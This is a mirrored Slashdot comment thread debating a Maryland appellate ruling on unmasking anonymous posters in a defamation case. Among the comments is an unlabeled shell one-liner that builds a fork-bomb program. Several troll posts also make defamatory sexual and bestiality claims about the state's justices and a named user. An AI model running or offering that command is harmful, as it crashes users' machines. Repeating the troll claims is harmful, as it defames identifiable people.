Slashdot Mirror
MD Appellate Ct. Sets "New Standard" For Anonymous Posting
A Maryland court of appeals has set what they are calling a new "standard that should be applied to balance the First Amendment right to anonymous speech on the Internet with the opportunity on the part of the object of that speech to seek judicial redress for alleged defamation." The court overturned an earlier ruling that would have required NewsZap.com to turn over the names of anonymous posters who posted negative remarks about the cleanliness of a Centreville Dunkin' Donuts. "In a defamation case involving anonymous speakers, the ruling said, courts should first require the plaintiff to try to notify the anonymous posters that they are the subject of a subpoena. That notification could come in the form of a message posted to the online forum in question, and the posters must be given sufficient time to respond. The plaintiff must then hand over the exact statements in question, so the court can decide whether the comments are obviously defamatory. Finally, the ruling says, the court must weigh the anonymous poster's right to free speech against the strength of the defamation case and the necessity of disclosing the poster's identity."
that ruling actually makes sense. there is no way that it will be allowed to stand!
The Maryland Supreme Court justices are all gay and have orgies after the last case of the day. I've seen them ship in goats and pigs to add spice to these events.
It's true. They are all perverts and touch themselves in public.
If its possible to hand over details of who posted an anonymous message, then it wasnt 100% anonymous, there must be some sites that dont log any details of anonymous posters, so cant hand anything over
It seems that these First Amendment cases are always about the most trivial and petty things possible. I fully expect the next one to revolve around whether or not yo momma is so fat, and how fat she is.
... it is "the" Maryland Court of Appeals. In other states it would be known as the state supreme court.
A similar situation is that what other states call the "state house of representatives" in Maryland is called the House of Delegates. (Virginia calls its lower house that also.)
In the matter of KDawson vs. Anonymous Coward, the court rules in favor of ... :)
Bark less. Wag more.
Lets face it... corporations ARE going to hammer this until they get their way. At least a court is coming up with some sort of fair way to arbitrate and say 'let the courts decide what is libelous before handing over identities'. That seems more than fair and it gives the anonymous user the opportunity to seek counsel should they feel the need.
It's a libelous world but at least the courts are trying to err on the side of caution.
This is my sig. There are many like it but this one is mine.
4chan has always been royally fucked, trolling their is like pissing in an ocean of piss. Kind of like using the restroom at Centreville Dunkin' Donuts.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
What I got from the article was a tacit admission that people would inevitably try to abuse the system to supress legitimate voicing of concern, analagous to the legal cheap shot of invoking the DMCA to supress complaints or discussions of product defects, for example.
If I truly believe that that restaurant is dirty, is it defamation?
I think not. How would anyone know what my standards for cleanliness are and whether I truly believed what I said (or typed in this case)?
Maybe my standards are really high and I saw a piece of paper on the floor and concluded that the restaurant is dirty. Or maybe I wanted to destroy the business and am using the piece of paper as an excuse.
It feels like everything even a tiny bit negative is suddenly grounds for a lawsuit.
Food critic gives a bad review? Don't make better food, sue the critic, the newspaper, and the corporation that owns it for defamation, even if the fries WERE soggy that day.
It seems like the issue is it's way cheaper to try and suppress negative information (even if it's simply random people's opinions) - and furthermore make it clear that it will be extremely costly to even utter such information, by way of having to defend oneself in court, even for pure opinion-laced statements. Some states, if I recall, have laws and remedies available when companies sue under such circumstances, but many, it seems, do not.
And hell - I've noticed that in some countries, forget opinion - it's getting to the point where even truth is no longer an absolute defense to libel, because truthful statements can still be "defamatory".
"Fame" and "Respect" shouldn't be a right just via the existence of a person or company, it's one of those things that is (or used to be) hard to earn, and easy to lose. What's the point of having a review or sharing thoughts if any negative one leads to a lawsuit?
Here's the problems. First, there's this idea that people who excercise their fifth amendment rights are guilty. Then there's this idea that anonymous speakers are "evil". Nevermind arguments about the 4th amendment, or about privacy and other things -- this all points to a systemic and popular change of opinion in the general public that excercising one's rights is synonymous with abusing them. This is very dangerous -- those rights were enacted to precisely and explicitly to protect innocent people who might otherwise be snared by ambiguous testimony, false witnesses, or procedural mistakes (amongst other flaws in the justice system that hang innocent people).
But that aside, the crux of the matter is, should anonymous speech be entitled the same protections as non-anonymous speech? If you're tempted to answer yes, consider that an "anonymous poster" stating that a pharmaceutical company is engaging in price fixing doesn't carry the same weight as a former accountant of the company in question stating it. Who you are does indeed matter when it comes to credibility. Just a talking point here. Here's the other problem -- people often post anonymously precisely because they have more to lose because of who they are, yet wish to perform a public service by drawing attention to a problem. Anyone remember F*ckedCompany during the dotcom bubble burst? The court fails to address these questions.
And the argument could be made they should not address them. Our court system is based on the concept that everything should be public, unless of course it has anything to do with terrorism, the government, or some government official's nuts in the vice, in which case it's Uber-Super-Double-Top-Secret. This is a problem for people found not guilty because public mentality is that even an accusation means you did something wrong. People's lives are ruined daily by false accusation, false witnesses, etc., because the system declares that everything should be public -- not just those found guilty, but also those found not guilty, or even innocent!
And in a digital age, I don't know that we can afford this anymore. The needs of the many (the public's need to know) is NOT outweighed by the individuals needs (for privacy) any longer, and a foundational aspect of our justice system now needs reform. Specifically, court actions should not be made public until the case is finalized and no longer appealable. Yes, that does mean the public gets less information. In my opinion... Deal with it. If this dynamic were the case, then the collateral damage in involving legal action against anonymous posters would be reduced a hundred-fold. Doing this eliminates the "chilling effect" that these actions provide.
#fuckbeta #iamslashdot #dicemustdie
The appeals court disagreed with you in this decision in general.
In this particular case, the plaintiff sued the wrong people and the appeals court ruled that the original judge should not have compelled the NewsZap.com to identify the defendants.
This case involved 5 anonymous users and the plaintiff Brodie. The first 3 users discussed how a historical home sold by Brodie was burned down and demolished by the new owners. One user chastises the new owners and Mr. Brodie. The other two comment and ask for more information without specially posting any negative comments about Mr. Brodie.
In response to these comments, two other users make negative remarks about the cleanliness of the Dunkin' Donuts Mr. Brodie owns. One of the first 3 users comments on this but make no negative remarks.
In the lawsuit, Mr. Brodie however sued only the first 3 and tried to add the other 2 later after the statute of limitations ran out. The appeals court ruled that Mr. Brodie has no real case against the first 3 users as their comments were not libelous in nature. He would have had a case against the other 2 users but did not sue them. Thus Newszap.com should not have been compelled to identify any users.
Well, there's spam egg sausage and spam, that's not got much spam in it.
"... courts should first require the plaintiff to try to notify the anonymous posters that they are the subject of a subpoena. That notification could come in the form of a message posted to the online forum in question, and the posters must be given sufficient time to respond."
The court does not understand what "anonymous" means in the context of online posting. It means, at least in some cases, "You will never know who did it."
Before courts rule or Congress makes new laws, the proposed new ideas should be posted on Slashdot. There are plenty of teenagers who read Slashdot who would be willing to show why the new ideas don't make sense. Most of the new ideas are so ignorant that there's no need for the rest of us to even get involved.
In the case of the Emily Vance versus the Bathroom Wall Writer of the Baltimore Golden Corral, Men's Room, 2nd Stall, sometime between 6:30 PM on January 25th 2009 and 10:45 PM on January 27th 2009, the Court finds that Emily Vance, with whom the Bathroom Writer suggested a short-term relationship might result in a pleasant outcome, did effectively write on said wall in reply, letting the Bathroom Writer know he or she was the subject of a subpoena. The Bathroom Writer, who knowingly and wantonly failed to respond, is hereby subject to the default judgement of $840,000. The next time the Bathroom Writer writes on that wall, Ms. Vance should let him or her know that he or she is liable.
Sometimes one dimensional number systems don't fit your moderation needs.
[FUCK BETA]
That's not a lie, that's an opinion. In order to be a lie, a statement must first be a statement of fact.
If, instead, the hamburger shop claimed "[some entity] said we have the best burgers," then they would have to be able to prove it.
"[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz
I'm a lawyer; this isn't advice; blah, blah, blah . . .
In advertising, the legal term is "puffing."
"Our hamburger is best" is puffing; "Our hamburger has less than 5% fat and comes from virgin cows." had better be true if claimed, and "They spit on their burgers before serving." is defamatory (and actionable unless true).
If a statement is clearly not intended to be taken as a literal truth, it's not going to meet the standards for defamation--although parts of it still might: "He molests every intern to come through D.C., just like he did to Jesse." The claim about Jesse is actionable, while the bigger one isn't.
(Hmm, maybe if you're talking about Bill Clinton, the "every" might be believable :)
hawk, esq.
Sounds like a Klingon name to me.
No way would a trust a Klingon to make my donuts.
I am very small, utmostly microscopic.
My bigger concern is the onus this might put on websites with regards to allowing anonymous posting... might they have to retain logs or force "anonymous" posters to log in with an account and provable credentials?
What happens if a website simply says "sorry, they're anonymous... we don't know who they are and have no way of finding out."
MadCow.
I used to have a sig, but I set it free and it never came back.
Slashdot user i_ate_god bragged about his deviant prowess on slashdot: "I helped my uncle jack off the horse", he said in a Monday afternoon posting. He made it clear that he was making a political statement for what he views as an oppressed minority: "no one should be arrested for bestiality," he asserted.
What I find encouraging is that INI fought for the constitutional rights of its readers. Too many internet companies these days take a neutral position... i.e. cave.
Ray Beckerman +5 Insightful